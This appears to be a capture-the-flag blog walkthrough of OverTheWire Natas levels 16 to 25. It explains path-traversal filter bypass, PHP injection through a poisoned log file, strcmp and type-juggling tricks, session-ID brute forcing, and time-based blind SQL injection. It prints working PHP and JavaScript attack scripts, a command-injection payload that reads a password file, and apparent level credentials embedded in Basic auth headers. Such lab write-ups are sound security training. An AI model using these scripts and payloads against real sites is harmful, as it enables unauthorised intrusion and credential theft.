This one is one of the most involved levels so far, as there are multiple pieces to the puzzle.  Let’s jump right in:

natas level 25 source 1

First we can see they are making an awful lot of effort to prevent us from including arbitrary files via the $filename variable.  This is a big hint that we should probably try to perform local/remote file inclusion to beat the level 🙂   The function safeinclude() is using str_replace() to strip out any series of “../”, which could be used to move backwards towards the directory root and allow us to traverse directories freely.   How can we defeat this?

natas level 25 defeat 1

By setting filename to “….//….//” str_replace() can do its job of removing the “../”, but it still leave behind a “../../” LoLz.  Our next problem is that they are checking for the presence of “natas_webpass” in the filename, if it is detected execution is halted.   Were it not for this the game would already be over, as we could simply direct the function to include the password file.

Since we can’t include the password file, and including remote files seems to fail as well what can we do?  Further down in the code shows a file that we have partial control over:

natas level 25 source 2

logRequest() is saving the date, our user-agent, and $ message in /tmp/natas25_xxxx.log.  Let’s see what this file looks like:

natas level 25 inclusion demo 1

You can see that the log file has successfully been included and contains all the above information including the user-agent, which we can control.  If we set the user-agent to some php code of our choosing, and then include this file it should be executed, let’s try it:

natas level 25 win

w00t!

 

 

Natas level 24 source

To win this level it would appear that we need to get $_REQUEST[“passwd”] to match the value of “censored”.  Maybe there is another way though.  Let’s see what the comments on php.net have to say about the strcmp() function.

natas level 24 php.net comments

As it turns out !strcmp(“foo”, array()) returns “1” AKA “true”,

natas level 24 test

For the win we can make $_REQUEST[“passwd”] an array, to do this just replace the “=” in the request to “[]” like so:

natas level 24 win

natas level 23 source

So we need to get $_REQUEST[“passwd”] to be greater than 10, AND strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate to true.  Let’s examine the behavior of the PHP “>” operator:

natas level 23 > operator

According to php.net “If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically”.  So it looks like this condition will evaluate true when $passwd is a number or starts with a number that is greater than 10, even if letters follow that number.  Great!  So we need to get strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate true and we’ll be set.  The php.net manual says strstr() “Returns the portion of string [starting at the match, to the end of the string], or FALSE if needle is not found”.  Here’s another example to chew on:

natas level 23 strstr

We should have all the information we need to win now:

natas level 23 win

 

 

 

This one was really easy:

natas level 21 source 1

Alls we have to do is set admin=1 for the win.  Let’s try:

natas level 21 first try

Well that didn’t work.  What’s up with this experimenter thing anyway?  I wonder what would happen if we used the PHPSESSID from that and made the same request?

natas level 21 win round 2

 

Oh…that’s what happens.

There is a lot of code in this one so lets focus in on the some of the more important parts:

natas level 20 win code snippet

Line 23 tells us we need to set $_SESSION[“admin”] == 1. for the win.  We don’t have direct control over the $_SESSION array, but the following code offers an entry point:

 natas level 20 entry point

The focus is on lines 59 – 63.  59 sets up a for loop that iterates once per newline (\n) present in $data.  This is made possible by the explode() function which “returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter“.  On line 61 they explode() each member of the array by a space (” “), and set the limit as 2 meaning that it will only split the string by the first space.  Here’s an example to look at:

natas level 20 explode example

For this example I replaced $data with “friends love\nhappiness joy tranquility prosperity” and you can see that the first array key of $_SESSION was set to “friends” with the value “love”.  The second array key was set to “happiness” with the value “joy tranquility prosperity”.  For our hack we need to create an array key called “admin” with its value set to “1”.  We can create the key like this:

Natas level 20 admin key creation

Then all we have to do it set “admin” == 1:

natas level 20

 

 

natas level 19 msg

This is a really fabulous hint.  We know we’ll have to brute force the session ID again, and we also know the pattern is not sequential like the previous level, so lets start checking out some sample session IDs:

natas 19 test poop

natas level 19 test admin

Hmmm, all the session IDs consist of letters a-f and digits 0-9, maybe they are in hex?

natas level 19 xxd

xxd – make a hexdump or do the reverse.

It looks like the new pattern is to prepend a random number number plus a dash  to whatever we choose as our username.  So, all we have to do is brute force in the same fashion as last level.  The only difference is that our session ID has to be hex encoded and following their format of “‘xx’-‘username'”.  Here’s what it looks like coded out:

<?php
function ascii2hex($ascii) {
    $hex = '';
    for ($i = 0; $i < strlen($ascii); $i++) {
        $byte = strtolower(dechex(ord($ascii{$i})));
        $byte = str_repeat('0', 2 - strlen($byte)).$byte;
        $hex.=$byte;
    }
    return $hex;
}

for ($i = 0; $i < 700; $i++) {
    $url = 'http://natas19.natas.labs.overthewire.org/index.php';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
            'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer: http://natas19.natas.labs.overthewire.org/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nHost: natas19.natas.labs.overthewire.org\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".ascii2hex($i."-admin")."\r\nAuthorization: Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false,     $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (!(strpos($result, "You are logged in as a regular user."))) {
        var_dump($result);
        break;
    }
    //var_dump($result);
}
?>

natas 19 win

natas level 18 message

No matter what you log in as it says “You are logged in as a regular user. Login as an admin to retrieve credentials for natas19”.

We need to get the session where $_SESSION[‘admin’] == 1, but how do we know which PHPSESSID is associated with this?

natas level 18 source snippet 1

Well earlier in the code we see there is a maximum of 640 PHPSESSIDs:

natas 18 source 2

That shouldn’t take too long to brute force.  Let’s whip up a quick script which will try to login with username ‘admin’ and every PHPSESSID from 1 to 640.

<?php
for ($i = 0; $i < 700; $i++) {
    $url = 'http://natas18.natas.labs.overthewire.org/index.php';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
        'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer: http://natas18.natas.labs.overthewire.org/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip;q=0, deflate\r\nHost: natas18.natas.labs.overthewire.org\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".$i."\r\nAuthorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (strpos($result, "You are an admin.")) {
        var_dump($result);
        break;
    }
    //var_dump($result);
}
?>

To get all the correct header values, I tried to login with burp and pasted the header into my code above (the only exception being that PHPSESSID=$i 😀 hehehe).  The server kept returning the page gzipped, lines 14 – 16 return it black to clear text.  We check for the string “You are an admin.” in the response of each request we make, and when it is found we halt execution.

natas 18 win

natas level 17 msg

Our username check is back, and this time it’s not telling us anything:

natas level 17 source

It looks like they forgot to uncomment all the messages before they published this file.  That’s ok, we can take the same strategy as the other blind sql level, and use an if statement combined with the sleep() function to tell us if we have the correct character.  In the code below, execution will be halted for two seconds if we have the correct character.  We time the length of execution, if it is greater than 2000 milliseconds (2 seconds) we know we have the right character and move on to the next index:

var start = new Date().getTime();
var end = new Date().getTime();
string = "";
for (j = 1; j < 33; j++)  {
    for(i = 48; i < 123; i++) { //123
        if (i > 57 && i < 65) { continue; }
        if (i > 90 && i < 97) { continue; }
        query = 'username=natas18" and if(binary(SUBSTRING(password,' + j + ', 1)) = "' + String.fromCharCode(i) + '", sleep(2), 0) and "1" = "1';
        start = new Date().getTime();  //start timing
        xhr = new XMLHttpRequest();
        xhr.open("POST", "http://natas17.natas.labs.overthewire.org/index.php", false);
        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xhr.send(query);
        console.log(query);
        console.log(string);
        end = new Date().getTime();  //end timing
        if (end - start > 2000) {
            console.log(String.fromCharCode(i));
            //console.log(xhr.response);
            string += String.fromCharCode(i);
            break;
        }
    }
}
console.log(string);

You may have to increase the sleep time if your internet connection is slow:

natas level 17 win

 

natas level 16 msg

Looks like our old friend is back, and this time they are filtering MORE STUFF OMG!!!  TOO BAD IT’S STILL NOT ENOUGH FTW!!!

NATAS LEVEL 16 SOURCE

You can see they are filtering the following characters:

; | & ` \ ‘ ”

On top of that they put our input inside of double quotes, so we will not be able to break out of the grep command as we had in previous levels.  Fortunately they did leave one option for us to execute any command we want on the server, we just won’t have the output printed back to us…this is ok.

Let’s try throwing this into the form and see what happens:

$(grep -o ^a /etc/natas_webpass/natas17)

natas level 16 test 1

It looks like we somehow matched every single line in dictionary.txt.  What is that hackish looking input that we passed to server doing anyway? $() is similar to the backtick operator, think of it as saying “the result of”.  So we are setting $key equal to the result of grepping for the letter a in the file /etc/natas_webpass/natas17.  Somehow this ended up matching all the words in dictionary.txt, but how?  For clarity let’s see what $(grep -o ^a /etc/natas_webpass/natas17) actually looks like by testing on our own system.  Since we don’t actually have the file natas17, we’ll make up our own for testing purposes:

natas level 16 test 2

You can see that there is no letter ‘a’ in natas17, and more importantly it does not start with a letter ‘a’ (the ^ is a regex operator that says match start of a line).  This means that our grep command is not returning anything.  Since we are grepping for the result of a command that hasn’t returned anything, everything is matched, which is why we see the whole dictionary.txt file.

What happens if we DO have a match?

natas level 16 test 3

This time our inner grep command returned ‘th’ so the outer grep command searched for ‘th’ inside of dictionary.txt, and we saw the matches.  So now we know that if we grep for something in natas17 that isn’t there, nothing will be returned, and out the outer grep will match everything.  If we grep for something that IS in natas17, then something WILL return, and the outer grep will return LESS THAN the entire dictionary.txt.  Great so let’s hack.

This is basically like our blind sql injection level.  We know what the page looks like when we’re on to something, and we know what it looks like when we’re not quite there, so lets whip something up to do the heavy lifting:

string = "";
for (j = 0; j < 32; j++)  {
    for(i = 48; i < 127; i++) {
        if (i == 34) { continue; }
        if (i == 92) { continue; }
        if (i == 60) { continue; }
        if (i == 59) { continue; }
        if (i == 96) { continue; }
        if (i == 124) { continue; }
        xhr = new XMLHttpRequest();
        xhr.open("GET", "http://natas16.natas.labs.overthewire.org/?needle=$(grep -o ^" + string + String.fromCharCode(i) + " /etc/natas_webpass/natas17)&submit=Search", false);
        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xhr.send();
        //console.log(xhr.response);
        if (xhr.response.length < 4000) {
            string += String.fromCharCode(i);
            console.log(string);
            break;
        }
    }
}
console.log(string);

If this is not self explanatory feel free to ask questions in the comments below, or hit up google.

natas level 16 win